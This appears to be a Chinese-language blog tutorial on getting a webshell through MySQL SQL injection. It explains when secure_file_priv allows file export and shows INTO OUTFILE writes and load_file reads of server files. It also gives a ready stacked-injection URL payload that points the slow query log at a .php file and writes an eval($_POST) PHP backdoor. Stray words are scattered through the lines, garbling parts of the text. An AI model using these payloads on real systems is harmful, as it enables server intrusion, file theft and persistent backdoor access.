若是一个平台有注入点的时候能够经过写一句话拿shell php
条件mysql
1.myql 5.6.34 版本区分linux
2.有写的权限sql
3.知道绝对路径shell
MySQL 中 在在mysql 5.6.34版本之后 secure_file_priv的值默认为NULL ,而 secure_file_priv为null 那么咱们就不能导出文件,如下都创建在windows
secure_file_priv 的默认值被修改成无才能利用,且这个只能手工修改配置文件不能用sql语句,也就是想直接导出须要管理员不知道干了什么帮你修改好这个权限才行。加密
windows系统在 my.ini的[mysqld]下面加上secure_file_priv = ,linux 的在 /etc/my.cnf 同时读写权限问题就不用说了。日志
mysql 低于5.6.34 io
时候能够直接table
写文件咱们通常用到 `dumpfile`与`outfile` 她们实际上是有区别
`outfile` 会在行末写入新行,并且会转义换行符
`dumpfile` 能导出一个完整的文件,不会有任何转义 因此咱们udf提取通常用的dumpfile
例如 select 1,'123456' into outfile 'C:\\Users\\yzj\\Desktop\\wy1.php'
能够写到项目文件下进行解析
也能够 利用内联注释进行 读取项目文件例如配置文件
id=1 union select 1,2,hex(load_file(0x463A5C5C312E747874)) 经过hex 加密是由于 有时候内联的数据类型不匹配报错这个时候就要用的hex() 或者password()
若是 load_file() 方法被禁止了 还能够用
load data infile '地址' into table user;
写到某个表中 去查看信息
mysql 高于5.6.34
能够修改配置文件
secure_file_priv不为NULL 但须要改配置文件
windows下:
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
保存,重启mysql。
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。
固然大部分状况是没有权限的咱们利用 堆注入 去更改慢日志存储路径来写shell
堆注入原生的php方法是不支持的 得使用使用 PDO,mysqli_multi_query() 也就是说条件很苛刻
set global slow_query_log=1;
set global slow_query_log_file='D://404.php' -- 地址
select '<?php eval($_POST['404']) ?>' or sleep(15);
例子
id=1%23;set global slow_query_log=1;set global slow_query_log_file='D://404.php' ;select '<?php eval($_POST['404']) ?>' or sleep(15);
执行完后去跟路径下去访问404.php